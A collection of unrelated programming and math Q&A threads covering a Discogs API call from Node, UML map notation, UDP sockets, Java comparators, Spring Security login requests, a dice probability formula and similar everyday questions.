At present, a html button triggers a GET request to the node server using fetch API. The Node server then routes the GET request to a handler which makes a https request to the GET collection folders endpoint.
I am expecting the following response (see 'Toggle' for the /users/{username}/collection/folders endpoint here):
expected response
https://www.discogs.com/developers/#page:user-collection,header:user-collection-collection
This requires authentication, for which a number of options are documented here: https://www.discogs.com/developers/#page:authentication,header:authentication-discogs-auth-flow
I have made successful GET and POST requests by passing my api key as and Authorization header when making requests from the frontend using fetch api only, so I am attempting to use that method to authorize the request from the node server.
Actual Output - Browser
Actual Output - Browser
Actual Output - Node terminal
Actual Output - Node terminal
HTML and Script
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Test GET request to Discogs API</title>
</head>
<body>
    <form>
        <input type="button" value="Get Folders" onclick="getFolders()">
    </form>
    <script>
        async function getFolders() {
            try {
                const res = await fetch('http://localhost:1000/getfolders')
                if(!res.ok) {
                    console.log('node server response not ok')
                } else {
                    const jsonResponse = await res.json()
                    console.log('hello' + jsonResponse)
                }
            } catch (error) {
                console.log('there was an error' + error)
            }
        }
    </script>
</body>
</html>

Node js Server
const http = require('http')
const https = require('https')
const url = require('url')
const port = 1000
const username = 'someUsername'
const apiKey = 'apikey123456789'

const server = http.createServer((req, res) => {
    const {method} = req

    switch(method) {
        case 'GET':
            return handleGetRequest(req, res)
        default:
            throw new Error(`Unsupported request method: ${method}`)
    }

    })

server.listen(port, () => {
    console.log('Server listening on port:' + port);
})

const handleGetRequest = (req, res) => {
    const options = {
        hostname: 'api.discogs.com',
        path: `/users/${username}/collection/folders`,
        headers: {
            'Content-Type': 'application/json',
            Authorization: `Discogs token=${apiKey}`
        }
    }

    const request = https.request(options, response => {
        let data = ''

        response.on('data', (chunk) => {
            data += chunk
        })

        response.on('end', () => {
            console.log('Retrieved Data:', data)
            res.setHeader("Access-Control-Allow-Origin", "*")
            const jsonData = JSON.stringify(data)
            res.end(jsonData)
        })
    })

    request.end()
}


text:
Q: Represent HashMap in class diagram I have a class diagram which has a dictionary (in python terms) as an attribute. This is the basic structure:
serverEntry = { creditCardObj1 : accountBalance1, creditCardobj2 : accountBalance2, ...}

To clarify, creditCardObj1 is an instance of a class CreditCard while accountBalance1 is an integer value and similarly for the other entries in the dictionary.
I read that in Java, it is called HashMap. In any case, I would like to implement it in my UML class diagram. Any tips on how to do that. I am using Visio 2007 so it would even more helpful if someone can explain in terms of that.

A: I won't put much effort into this, as another answer has been chosen already. That answer does not cover the closest thing in UML to a HashMap: the qualifier. It is drawn as a rectangle between a class and an association. Inside the rectangle is a name and a type. What it means is that given an instance of that type, the association will yield some number of instances of things on the other end of the association. That number of instances is specified with a multiplicity.
For your purposes, you would put creditCard: CreditCard inside the qualifier rectangle, and Integer on the other end of the association, with a multiplicity of 1.

A: I believe that this question is more about UML than about the programming language. Thus, please allow me to use the language I feel more comfortable in.
C# calls it Dictionary too, Dictionary<string, T> for example with a string for the HashKey. The UML Class Diagram in Visual Studio (I am using the Community Edition of VS 2015 here) is fortunately close enough to code so that the UML Model basically is the language's meta-model and the diagram is just a different view to the real code.
This comes in handy because real programming problems - like the one you asked for - can be addressed directly in the diagram. (Also: no extra code generation or additional parsing necessary to get or maintain the diagram).
I like the way Visual Studio solved this. They offer two options, one that is focussed more on the technicalities (show as Association)

and one that is focussed more on the domain (show as Collection Association).

I am usually using the first one only if I need the diagram to emphasize that the Dictionary class is involved, in every other case the second option is my preferred option.


text:
Q: Why does my python's socket.shutdown work on Windows but not Ubuntu? Here is what my socket code looks like, this is for a UDP connection.
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(8)
sock.sendto(req, (host, port))
buf = sock.recv(2048)
sock.shutdown(socket.SHUT_RDWR)
sock.close()

Here is the relevant portion of my stack trace
Exception in thread Thread-6:
Traceback (most recent call last):
  File "udp_test.py", line 110, in my_method
    sock.shutdown(socket.SHUT_RDWR)
  File "/usr/lib/python2.7/socket.py", line 224, in meth
    return getattr(self._sock,name)(*args)
error: [Errno 107] Transport endpoint is not connected

I don't know what OS the host is running, I assume it is some flavor of Linux. I can wrap the socket.shutdown[docs] call in a try catch and everything seems to work fine.
Does this problem have something to do with a difference between the way Windows and Linux handle sockets? Is wrapping sock.shutdown in a try catch the solution here or will I run nasty problems down the rode?

A: You are calling sock.shutdown() on a UDP socket. UDP doesn't have a connection to shut down. On Windows the call doesn't do much other than prevent you from writing to and reading from the socket (packets are still received and queued), on Linux calling shutdown on a UDP connection throws an error.
In either case, you shouldn't really be using shutdown at all. Just close the socket instead, or just don't send on the socket and don't read data from it.


text:
Q: Python: Looping through each day for a given month using Calendar(), and find Day-1 and Day+1 Need to loop through any calendar month and for each date find the day before and day after.
Looping through the month is easy enough, but using this to subtract and add a date proved challenging. Not sure if Calendar can be combined with datetime??
from datetime import datetime, timedelta
from calendar import Calendar

cal = Calendar()
for day in cal.itermonthdates(2017, 1):
   day_minus_one = day - datetime.timedelta(days=1)
   day_plus_one = day - datetime.timedelta(days=-1)


text:
Q: How would I edit this simple chrome extension to change the font color of ALL elements on a page to red? At the moment, it only works for some web pages, and it only changes some of the text's color.
background.js
chrome.browserAction.onClicked.addListener(function(tab) {
// No tabs or host permissions needed!
console.log('Turning ' + tab.url + ' red!');
chrome.tabs.executeScript({
    code: 'document.body.style.color="red"'
    });
});

A: Iterate through ALL tags and change the color :
var el = document.getElementsByTagName("*");
for (var i=0; i < el.length; i++)
{
    el[i].style.color = "Red";
}

Tested this, works on Google & Stackoverflow
P.S. The JS code needs to go in executeScript


text:
Q: Why does List.indexOf use equals method of passed in Object? In Java, why does the List<T>.indexOf(Object o) method use the parameter's equals method rather than the equals method of <T>.
This is how it's coded:
public int indexOf(Object o) {
if (o == null) {
    for (int i = 0; i < size; i++)
    if (elementData[i]==null)
        return i;
} else {
    for (int i = 0; i < size; i++)
    if (o.equals(elementData[i]))
        return i;
}
return -1;
}

This is how I'd expect it to work:
public int indexOf(Object o) {
if (o == null) {
    for (int i = 0; i < size; i++)
    if (elementData[i]==null)
        return i;
} else {
    for (int i = 0; i < size; i++)
    if (elementData[i].equals(o))
        return i;
}
return -1;
}

The second for loop would need to do more null checks when done this second way to avoid any NullPointerException.   Is this the only reason?

A: The way ArrayList has it, it avoids null checks. I don't see any other reason. If you call equals on elementData[i] you have to check that every element is not null first.
Now, the important part here is that there should not be a difference between the two ways equals could be called.

*

*First, because the actual equals method called is determined at run time by the actual type of o.

This means, for example, if you pass indexOf a String, the overridden equals method of String is called, even though the reference type of o is Object.

*

*Second, because equals is required to be symmetric.

It is symmetric: for any non-null reference values x and y, x.equals(y) should return true if and only if y.equals(x) returns true.

If the equals method is properly implemented, which object you call it on will not make a difference.

A: The question "why" it's that way, can only be answered by whoever implemented the List class. I would say like Louis; it doesn't really matter since the .equals is specified to be symmetric. A legit guess would be that it is made sure to use the .equals implementation of the object you have provided.
However, if you want its behaviour to change, you could always override it with your own implementation.

A: This has to do with inheritance. We'll say Object o (the parameter) is an instance of a Cat object. The Cat class, along with every other class, is a descendant of the Object, and so Cat must have all the same public methods that Object does. In Cat, we also overrode the equals(Object other) method, which is declared by Object. Cat has its own way it checks if it is equal to another object. If it didn't, you wouldn't be able to tell a Cat from a Dog from an Apple from a Carburetor using equals()
List, or rather whichever implementation of List you're using (probably ArrayList) identifies Object o within its contents using o's equals() method. Since (in our example) o is a Cat object, o needs to know if each item in the list is the same thing, and it has to check values that are specific to Cats. When Cat.equals(Object other) returns true, List.indexOf(Object o) will return the index it was on.
Another way that might be helpful, is to think how Object.equals(Object other) would check equality. Object itself only compares the two items' memory addresses. It has nothing else it can compare. Even if the Object is really a Dog, if Dog.equals(Object other) isn't impemented, it cannot compare two Dogs intelligently.

A: For objects java specifies .equals() method because they cannot be compared directly by '=='.
In case of simple primitive datatypes '==' can be used.
primitive datatypes does not have .equals() method.


text:
Q: Angular 2 / Typescript - how to check an array of objects to see if a property has the same value? This question does it in Javascript, but I would have thought in Typescript I could do some kind of map/filter operation to do the same thing.
I have an array of objects called Room. Each Room has a property called Width (which is actually a string, eg '4m', '5m', '6.5m').
I need to check the entire array to see if all the widths are the same.
Based on that question I have this, but I was wondering if TypeScript has something better:
let areWidthsTheSame = true;
this.qp.rooms.forEach(function(room, index, rooms) {
  if (rooms[index] != rooms[index+1]) areWidthsTheSame = false;
});

Any ideas?
FYI the linked question has a comment that links to these performance tests, which are interesting in the context of this question:

A: This can be done in the following way:
const widthArr = rooms.map(r => r.width);
const isSameWidth = widthArr.length === 0 ? true :
                          widthArr.every(val => val === widthArr[0]);

We first convert the rooms array to an array of widths and then we check if all values in widths arrays are equal.


text:
Q: How to add a bullet in textarea at the beginning of each sentences How can I add a new bullet at the beginning of each sentences? for example at the moment the bullets get added next to each other, see below.
Current behaviour:
• • hello world
hello world
While I'd like to have this:
• hello world
• hello world

$('.add-bullet').click(function() {
    $(this).parent().next('textarea').val(function(idx, value){
        return '\u2022 ' + value;
    });
    return false;
});

Add bullet

    <textarea type="text"  name="tata" placeholder="Write something.." ></textarea>

A: You can use a regex to check whether there is a bullet at the start of string or after a newline, and if not, add one there:

$('.add-bullet').click(function() {
    $(this).parent().next('textarea').val(function(idx, value){
        return value.replace(/(^|\n)([^\u2022])/u, '$1\u2022 $2');
    });
    return false;
});

Add bullet

    <textarea type="text"  name="tata" placeholder="Write something.." ></textarea>


text:
Q: Every finite dimensional normed linear space has the same dimension as its dual space. If $N$ is a normed linear space of dimension $n$, then $N^*$ has dimension $n$ as well, where $N^*=L(X,\mathbb{C})$ (all linear functionals from $N$ to $\mathbb{C}$).
Attempt: Let $B = \{e_1,e_2,...e_n\}$ be a basis for $N$. Then define $B' = \{e_1^*,e_2^*,...e_n^*\}\subset N^*$ be a "basis" for $N^*$, where $e_i^*(e_j) = \delta_{ij}$.
Claim:  $B'$ spans $N^*$.
How do I prove the claim? Should I use induction?

A: You can write down the coefficients for an arbitrary $f\in N^\ast$ explicitely:
$f=\sum_{i=1}^n f(e_i) e_i^\ast$, since $$f(x)=f(\sum_{i=1}^n x_i e_i)=\sum_{i=1}^n x_i f(e_i)=\sum_{i=1}^n f(e_i) e_i^\ast(x)$$ for all $x\in N$.


text:
Q: When rolling a die $N$ times, what is the probability of an $X$ appearing before the last $Y$? So a valid state is when there are both $X$ and $Y$ in the roll sequence, and the lowest index of an $X$ is smaller than the biggest index of a $Y$.
In particular, if after $N$ rolls, there is no $X$ or no $Y$, this does not count as a success.
For example
$N = 5$, $X = 1$, $Y = 2$ (Roll dice 5 times, 1 appearing before 2)

*

*1 4 2 3 1

*2 1 3 4 2
I would like the formula such that we can calculate the probability given $N$, $p_X$ and $p_Y$.
The closest I got is this :
def prob(N,pX,pY):
    res = 0
    for i in range(0,N):
        res+=((1-pX)**i)*pX*(N-i-1)*pY
    return res

A: Here you go:
$$ \sum_{k=1}^{N-1}(1-p_Y)^{k-1}p_Y\big(1-(1-p_X)^{N-k}\big). $$
I sure hope that makes you happy. probabilityislogic turned this into the following only-slightly-less-intimidating closed form:
$$
1-(1-p_X)^{N-1}-p_X\big[(1-p_Y)^{N-1}-(1-p_X)^{N-1}\big]\frac{1-p_Y}{p_X-p_Y} \quad\text{if }p_X\neq p_Y
$$
$$
1-(1-p+Np)(1-p)^{N-1}\quad\text{if }p_X=p_Y=:p.
$$
The first idea is that the probability of a "successful" outcome ("both $X$ and $Y$ are present in the roll, and an $X$ appears before the last $Y$") is equivalent to "both $X$ and $Y$ are present in the roll, and an $X$ appears after the first $Y$". The equivalence lies simply in counting from the back instead of from the front. (This just simplifies the summation indices above, you can easily work with the original formulation, it's just a little messier.)
Let's work with this equivalent formulation. It can be disentangled as:

*

*there is some index $k\in\{1, \dots, N-1\}$ (this is what we sum over) such that:

*there is no $Y$ for the $k-1$ first rolls (this is the $(1-p_Y)^{k-1}$ term) and

*the $k$-th roll is $Y$ (with probability $p_Y$) and

*there is at least one $X$ roll after that (this is the $\big(1-(1-p_X)^{N-k}\big)$ term: it's the complement of there being no $X$ in $N-k$ rolls).

The formula seems to work in simulations, where I played around with the nn, px and py parameters (in R):
nn <- 2
px <- .3
py <- .3

n_sims <- 1e4
n_x_before_y <- 0

for ( ii in 1:n_sims ) {
    roll <- sample(x=c("x","y","z"),size=nn,replace=TRUE,prob=c(px,py,1-px-py))
    if ( "x" %in% roll & "y" %in% roll) {
        if ( min(which(roll=="x"))<max(which(roll=="y")) ) {
            n_x_before_y <- n_x_before_y+1
        }
    }
}

n_x_before_y/n_sims

sum((1-py)^(0:(nn-2))*py*(1-(1-px)^((nn-1):1)))

if ( isTRUE(all.equal(px,py)) ) {
    cat(1-(1-px+nn*px)*(1-px)^(nn-1),"\n")
} else {
    cat(1-(1-px)^(nn-1)-px*((1-py)^(nn-1)-(1-px)^(nn-1))*(1-py)/(px-py),"\n")
}

This has been giving me the correct result, both for the sum form and for the closed form probabilityislogic proposed.
Of course, it does not matter whether the die is 3-, 6- or 27-sided - all we care about is the probabilities of the two events in question and "everything else", so for our purposes, we can collapse "everything else".
An interesting aspect that stumped me for a while is that the specific probabilities $p_X$ and $p_Y$ have a different impact for small and large $N$. If $N$ is small, e.g., $N=2$, then all we care is whether both $X$ and $Y$ are present in the roll at all. Conditional on that, $(X,Y)$ and $(Y,X)$ are equally likely, no matter how different $p_X$ and $p_Y$ are! But if $N$ grows, then both $X$ and $Y$ are more and more certainly present in the overall roll, and which one appears first depends of course on the ratio between $p_X$ and $p_Y$.
Overall, a nice little problem. Thanks!


text:
Q: How to Embed Google Trends into React app I'm attempting to embed Google Trends into React so I can adjust the parameters dynamically. I can successfully embed it directly into the index.html file.

However, I need to be able to change it via user input, so it needs to be in my jsx file. I've found a useful Helmet component to assist in adding scripts
  <Helmet>

  </Helmet>

but I'm getting such as

'trends' is not defined  no-undef

I've tried adding 'this' and 'window' but get different errors.
Can anyone assist in helping me fix this?
EDIT
Although the proposed solution didn't work for me directly, I did manage to get it working properly by taking the generated iframe tag and implement this instead.

A: I realize this question was posted some time ago, but I wanted to share a reusable component for Google Trends and how I embedded it in a react component in case it helps anyone in the future. I used react-load-script library in order to be able to load the script.
Here is the codesandbox:
https://codesandbox.io/embed/competent-cookies-v2kjz?fontsize=14&hidenavigation=1&theme=dark
And here is the code:

// App.js

import React from "react";
import GoogleTrends from "./GoogleTrends";
import "./styles.css";

export default function App() {
  return (
    <>

 Google Trends Example

        Put the GoogleTrends comonent in a div with an id. Use the id, e.g.
        "widget" inside document.getElementById("widget") in the GoogleTrends
        component.

        <GoogleTrends
          type="TIMESERIES"
          keyword="Celine Dion"
          url="https://ssl.gstatic.com/trends_nrtr/2051_RC11/embed_loader.js"
        />
        <GoogleTrends
          type="GEO_MAP"
          keyword="Celine Dion"
          url="https://ssl.gstatic.com/trends_nrtr/2051_RC11/embed_loader.js"
        />

    </>
  );
}

// GoogleTrends.js

import React from "react";
import ReactDOM from "react-dom";
import Script from "react-load-script";

export default function GoogleTrends({ type, keyword, url }) {
  const handleScriptLoad = _ => {
    window.trends.embed.renderExploreWidgetTo(
      document.getElementById("widget"),
      type,
      {
        comparisonItem: [{ keyword, geo: "US", time: "today 12-m" }],
        category: 0,
        property: ""
      },
      {
        exploreQuery: `q=${encodeURI(keyword)}&geo=US&date=today 12-m`,
        guestPath: "https://trends.google.com:443/trends/embed/"
      }
    );
  };

  const renderGoogleTrend = _ => {
    return


text:
Q: How can I measure the output color of a region of SVG? Here is a simple codepen that draws a blue square and then a red square on top of it with opacity .5. The overlapped region in the center is purple. How do I measure that color using SVG properties or a JavaScript call? Note: the composite could be arbitrarily complex, involving raster images too, so I'm looking for a colorpicker function, not a computation based on the fill attributes.
<svg
  width=200 height=200 viewbox="0 0 1000 1000"
  style="float: left; border: 1px solid black">

  <g>
    <rect width=750 height=750 fill=blue transform="" />
    <rect width=750 height=750 fill=red  transform="translate(250,250)" opacity=0.5 />
  </g>

</svg>

A: One solution, as per the comment above, is to copy into a canvas:
function colorPicker(x, y, fn) {
  const canvas = document.querySelector('canvas');
  const svg = document.querySelector('svg');
  const ctx = canvas.getContext('2d');
  const img = new Image();

  const xml = new XMLSerializer().serializeToString(svg);
  const svg64 = btoa(xml);
  const b64Start = 'data:image/svg+xml;base64,';
  const image64 = b64Start + svg64;

  img.src = image64;
  img.onload = () => {
    ctx.drawImage(img, 0, 0);
    const d = ctx.getImageData(x, y, 1, 1).data;
    const color = `rgba(${d[0]}, ${d[1]}, ${d[2]}, d[3]})`;
    fn(color);
  }
}

const out = document.getElementById('out');
colorPicker(100, 100, color => out.innerHTML = color );

I don't like this solution at all; the browser itself has access to the color data, and it's silly we have to jump through all of these hoops, serializing, re-drawing, etc to get at it.
Note that the above code isn't portable because it relies on hardcoded id's for the svg and canvas elements. See the codepen to see it working.


text:
Q: Satellite L750 Screen resolution problem I am new in Ubuntu, I just replaced my windows 7 with it, but after installation I am stuck with a resolution of 1024x768 and I have tried most of the fixes I find here and this is my 3rd time reformatting my laptop due to fail attempts on getting my desired resolution which is 1368x768.
Can anyone help me?
My Graphics card is Geforce GMT 525

A: The Built in Linux drivers for Geforce video cards while good are not perfect,
and that could be part of the problem.
However you "might" have an option to install the drivers from Nvidia.
Here is how you do it:
First I would do a full update for the system from the update manager, and reboot to enable any new kernel stuff that would be put on the system (this really might be all thats needed).
Next open the "Additional Drivers" application and let it look for any drivers that might work. If it finds any it will display a list. you simply click on the one you want and click the activate button. (On a side note, for me I normally avoid drivers marked "post release".) After it completes the install you will need to reboot.


text:
Q: Why won't my OSGI example print "Hello World" on bundle start? Taking an example from Neil Bartlett's book "OSGi in Practice", I copied the following code which can start, stop, and check for bundles in a directory, and which is supposed to print messages on bundle start and stop:
package tutorial;
import java.io.File;
import org.osgi.framework.Bundle;
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import org.osgi.framework.BundleException;

public class HelloUpdaterActivator implements BundleActivator {
// ...
private final Thread thread = new Thread(new BundleUpdater());
private volatile BundleContext context;

@Override
public void start(BundleContext context) throws Exception {
    System.out.println("Hello World");
    this.context = context;
    thread.start();
}

@Override
public void stop(BundleContext context) throws Exception {
    System.out.println("Goodbye World");
    thread.interrupt();
}

protected Bundle findBundleByLocation(String location) {
    // ... Not relevant to lack of any print statements in OSGi console.
}

private class BundleUpdater implements Runnable {
    @Override
    public void run() {
        // ... Not relevant to lack of any print statements in OSGi console.
    }
}

^ I put it in a file called HelloUpdaterActivator.java and put that java file in a folder called "tutorial" along with org.eclipse.osgi_3.5.1.R35x_v20090827.jar (The jar file for OSGi that came with an old version of the Eclipse Equinox implementation of OSGi).
I successfully compiled the tutorial java file with:
javac -cp ".:org.eclipse.osgi_3.5.1.R35x_v20090827.jar" HelloUpdaterActivator.java

Then I took all the class files that were generated and put them into a jar like so:
jar cf HelloUpdaterActivator.jar ./HelloUpdaterActivator.class ./HelloUpdaterActivator\$BundleUpdater.class ./HelloUpdaterActivator\$1.class

Finally, I made a generic sample MANIFEST.MF file for the jar, like so:
Manifest-Version: 1.0
Created-By: 1.7.0_79 (Oracle Corporation)
Bundle−Name: OSGi Bundle
Bundle−Symbolic Name: example1
Bundle−Version: 1.0.1
Bundle−Required Execution Environment: J2SE−1.6

Now that the jar was ready, I opened up OSGi in the terminal with its own little console, like so:
java -jar ./org.esgi_3.5.1.R35x_v20090827.jar -console -configuration runtime

The OSGi console looked like this:
osgi>

Into the OSGi console I typed:
osgi> install file:HelloUpdaterActivator.jar
Bundle id is 1
osgi> ss

Framework is launched.

id  State       Bundle
0   ACTIVE      org.eclipse.osgi_3.5.1.R35x_v20090827
1   INSTALLED   unknown_0.0.0 [1]

osgi> start 1
osgi> ss

Framework is launched.

id  State       Bundle
0   ACTIVE      org.eclipse.osgi_3.5.1.R35x_v20090827
1   ACTIVE      unknown_0.0.0 [1]

osgi> stop 1

osgi> ss

Framework is launched.

id  State       Bundle
0   ACTIVE      org.eclipse.osgi_3.5.1.R35x_v20090827
1   RESOLVED    unknown_0.0.0 [1]

But even though it says that the jar file I made is active, "Hello World" never prints on start and "Goodbye World" never prints on stop. Why won't my OSGi tutorial print "Hello World" on bundle start or "Goodbye world" on bundle stop?
UPDATE
I got it working by changing my MANIFEST.MF file to:
Manifest-Version: 1.0
Bundle-ManifestVersion: 2
Bundle-Name: OSGi_Bundle - Activator
Bundle-Version: 1.0.0.SNAPSHOT
Bundle-Activator: Activator
Bundle-ClassPath: .
Bundle-Description: Activator
Bundle-SymbolicName: activator
Import-Package: org.osgi.framework

A: You are missing a Bundle-Activator header so it knows to call that class' methods.


text:
Q: How to re-order a List I have created the following method:
public List<String> listAll() {
    List worldCountriesByLocal = new ArrayList();

    for (Locale locale : Locale.getAvailableLocales()) {
        final String isoCountry = locale.getDisplayCountry();
        if (isoCountry.length() > 0) {
            worldCountriesByLocal.add(isoCountry);
            Collections.sort(worldCountriesByLocal);
        }
    }
    return worldCountriesByLocal;
}

Its pretty simple and it returns a list of world countries in the users locale. I then sort it to get it alphabetic. This all works perfectly (except I seem to occasionally get duplicates of countries!).
Anyway, what I need is to place the US, and UK at the top of the list regardless. The problem I have is that I can't isolate the index or the string that will be returned for the US and UK because that is specific to the locale!
Any ideas would be really appreciated.

A:
Anyway, what I need is to place the US, and UK at the top of the list regardless. The problem I have is that I can't isolate the index or the string that will be returned for the US and UK because that is specific to the locale!

It sounds like you should implement your own Comparator<Locale> to compare two locales with the following steps:

*

*If the locales are the same, return 0

*If one locale is the US, make that "win"

*If one locale is the UK, make that "win"

*Otherwise, use o1.getDisplayCountry().compareTo(o2.getDisplayCountry()) (i.e. delegate to existing behaviour)

(This will put the US before the UK.)
Then call Collections.sort with an instance of your custom comparator.
Do all of this before extracting the country names - then extract them from the sorted list.

A: yes, when you do sort, just provide your own comparator
Collections.sort(worldCountriesByLocal, new Comparator() {
    @Override
    public int compare(String o1, String o2) {
        if (o1.equals(TOP_VALUE))
            return -1;
        if (o2.equals(TOP_VALUE))
            return 1;
        return o1.compareTo(o2);
    }
})

where top value will be value what you want to always on top

A: I would write my own POJO with a sort token consisting of an integer assigning priority (e.g. 0 for US, 1 for UK, 2 for everyone else), then some delimiter and then the country name.  Then I would put the array in a HashMap keyed by that sort ID and the POJO as the val.  Then I would sort the keys out of the map and iterate through the sorting and retrieve the plain country name for each sorted key.
E.g.
2.Sweden
2.France
2.Tanzania
0.US
1.UK

sorts
0.US
1.UK
2.France
2.Sweden
2.Tanzania

EDIT:  a POJO is needed only if you have more fields other than the country name. If it is just the country name, I would set the sort ID as the hash key and the country name as the val and skip the POJO part.

A: You could also use a TreeSet to eliminate duplicates and your own Comparator to bring US and GB up to the start.
You are getting duplicates (which this will eliminate) because there are often more than one locale per country. There is a US(Spanish) as well as a US(English) and there are three Switzerlands (French, German and Italian) for example.
public class AllLocales {
  // Which Locales get priority.
  private static final Locale[] priorityLocales = {
    Locale.US,
    Locale.UK
  };

  private static class MyLocale implements Comparable<MyLocale> {
    // My Locale.
    private final Locale me;

    public MyLocale(Locale me) {
      this.me = me;
    }

    // Convenience
    public String getCountry() {
      return me.getCountry();
    }

    @Override
    public int compareTo(MyLocale it) {
      // No duplicates in the country field.
      if (getCountry().equals(it.getCountry())) {
        return 0;
      }
      // Check for priority ones.
      for (int i = 0; i < priorityLocales.length; i++) {
        Locale priority = priorityLocales[i];
        // I am a priority one.
        if (getCountry().equals(priority.getCountry())) {
          // I come first.
          return -1;
        }
        // It is a priority one.
        if (it.getCountry().equals(priority.getCountry())) {
          // It comes first.
          return 1;
        }
      }
      // Default to straight comparison.
      return getCountry().compareTo(it.getCountry());
    }
  }

  public static List<String> listAll() {
    Set<MyLocale> byLocale = new TreeSet();
    // Gather them all up.
    for (Locale locale : Locale.getAvailableLocales()) {
      final String isoCountry = locale.getDisplayCountry();
      if (isoCountry.length() > 0) {
        //System.out.println(locale.getCountry() + ":" + isoCountry + ":" + locale.getDisplayName());
        byLocale.add(new MyLocale(locale));
      }
    }
    // Roll them out of the set.
    ArrayList<String> list = new ArrayList<>();
    for (MyLocale l : byLocale) {
      list.add(l.getCountry());
    }
    return list;
  }

  public static void main(String[] args) throws InterruptedException {
    // Some demo usages.
    List<String> locales = listAll();
    System.out.println(locales);
  }
}


text:
Q: Simulate post in grails - spring authetication I'm trying to do a post to this standard spring url, to simulate an authentication:
http://www.whateverAddress.is:8080/Test/j_spring_security_check
If I use the plug-in poster it works fine, I put two parameters j_username and j_password and an header parameter X-Requested-With=XMLHttpRequest and indeed I got in return a json result.
If I try to do it by code in Java, tons of examples in Google, it seems not to work. At the moment I'm using this code but I get nothing in return:
        HttpClient httpClient = new DefaultHttpClient();
        List<NameValuePair> postParams = new ArrayList<NameValuePair>();
        postParams.add(new BasicNameValuePair("j_username", "username"));
        postParams.add(new BasicNameValuePair("j_password", "password"))
        HttpPost httpPost = new HttpPost("http://www.whateverAddress.is:8080/Test/j_spring_security_check");
        httpPost.setEntity(new UrlEncodedFormEntity(postParams, HTTP.UTF_8));
        httpPost.addHeader("X-Requested-With", "XMLHttpRequest");
        HttpResponse response = httpClient.execute(httpPost);
        HttpEntity entity = response.getEntity();
        String responseString = EntityUtils.toString(entity, "UTF-8");
        System.out.println(responseString);

If I print the response,(not the entity) I have the following:
HTTP/1.1 302 Found [Server: Apache-Coyote/1.1, Set-Cookie: grails_remember_me=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/Test, Set-Cookie: JSESSIONID=247CF8B70D589F053DE4C937F2E16B9D; Path=/Test/; HttpOnly, Location: http://www.whateverAddress.is:8080/Test/login/authfail?ajax=true, Content-Length: 0, Date: Tue, 16 Sep 2014 12:04:12 GMT]
Which is code 302, like I have been redirected instead of having code 200 and the json, as Poster plugin shows me.
UPDATE
I create a button which fire up an ajax post request, as I should be able to do from java code side,  here the code:
   $(function() {
    $('#btnPush').on('click', function() {
        $.ajax({
            url: 'http://www.whateverAddress.is:8080/Test/j_spring_security_check',
            type: 'POST',
            data: {
                j_username: 'username',
                j_password: 'password'
            },
            success: function(data, textStatus, jqXHR) {
                alert('Success!!!');
            },
            error: function(jqXHR, textStatus, errorThrown) {
                alert('Fail!');
            }
        });
    });
});

Looking at the request sent, I see the header and the JSON received, everything is fine. If I replicate the same header in the java side still nothing happen. I miss something
LAST UPDATE - CLOSE
Basically once the post is done we need to follow the redirect with the auth cookie to get the right information:
        def headers = ["X-Requested-With": "XMLHttpRequest"]
        def postParams = ["j_username": user, "j_password": pwd]
        def url = "http://www.whatever.is:8080/test/j_spring_security_check"
        def returnstring = doHttpPost(url, postParams, headers)

    private String doHttpPost(String url, Map<String, String> params, Map<String, String> headers) {

    HttpClient client = new DefaultHttpClient()
    HttpPost post = new HttpPost(url)
    String result

    try {

        List<NameValuePair> urlParameters = new ArrayList<NameValuePair>()

        headers?.each {
            post.setHeader(it.key, it.value)
        }

        params?.each {
            urlParameters.add(new BasicNameValuePair(it.key, it.value))
        }

        if (params) {
            post.setEntity(new UrlEncodedFormEntity(urlParameters))
        }

        HttpResponse response = client.execute(post)

        if (response.getStatusLine()?.getStatusCode() == 200) {
            result = response.getEntity().getContent()?.text
        }

        if (response.getStatusLine()?.getStatusCode() == 302) {
            String redirectUrl = response.getHeaders("Location")?.value[0]
            result = doHttpGet(redirectUrl, ["Cookie": response.getHeaders("Set-Cookie")?.value[0]])
        }

       } catch (Exception ex) {
        log.error(ex)
       } finally {
        post.getEntity().consumeContent()
        return result
        }
    }

A: you seem to be using android SDK for calling. This is what I'm using to POST data to the REST API (powered by Grails):
HttpClient httpClient = getHttpClient();
List<NameValuePair> postParams = new ArrayList<NameValuePair>();
postParams.add( new BasicNameValuePair( "j_username", "username" ) );
postParams.add( new BasicNameValuePair( "j_password", "password" ) )
HttpPost httppost = new HttpPost( url );
httppost.setEntity( new UrlEncodedFormEntity( postParams, HTTP.UTF_8 ) );
httpPost.addHeader( "X-Requested-With", "XMLHttpRequest" );
HttpResponse hr = httpClient.execute( httppost );
JSONObject res = readStreamUsingReader( hr );


text:
Q: Javac compiler not recognizing wildcard? I set up a folder containing a test java file that only contains the word "test". I want docker to compile it. To run it, I call
$ docker run -it -v ~/my/path/testpayload:/payload -w /payload test_docker javac -cp /usr/share/java/*:. *.java

However, I get the following error
javac: file not found: *.java
Usage: javac <options> <source files>
use -help for a list of possible options

If I explicitly state the name of the java file like so:
$ docker run -it -v ~/my/path/testpayload:/payload -w /payload test_docker javac -cp /usr/share/java/*:. TestPayload.java

It tries to compile and returns with the expected error:
TestPayload.java:1: error: reached end of file while parsing
test
^
1 error

I tried it again with the wildcard but without the classpath and it still doesn't work, which makes me think it's something with the wildcard, I googled but it seems to me like I'm using the wildcard correctly.
Thanks.


text:
Q: Need to Return first value in an AJAX REST API call I'm using REST API and the jQuery AJAX method to pull data from a SharePoint list.  Within the data I'm pulling there is a shipping address which is the same for all the records I'm returning.  I'd like this shipping address to appear only once on the top of my page.  Below is a snippet of the code I have so far.  I've tried all manner of using [0] to try and pull the first item in the array but I always seem to get all items.
So, what's the best way to pull the first item in the array and select a specific field within that item and inject that into the DOM?
function pidQuery (storeNum, pidNum){
    var call = $.ajax({
        url: "SiteURL",
        type: "GET",
        dataType: "json",
        headers: {
        Accept: "application/json;odata=verbose"
            }
        });
        call.done(function(data,textStatus, jqXHR) {
            $.each(data.d.results, function(index, item){
            var shipLocation = item.ToLocation;
            var shipStreet = item.Street;
            var shipCity = item.City;
            var shipState = item.State;
            $("#shipToLocation").append(shipLocation);

UPDATE:  Below is a screenshot of the data.d.results in console.log.  It also shows the portion of my app which is injecting all the results instead of just the first one.  I'd like to just show the value once and not repeat.


text:
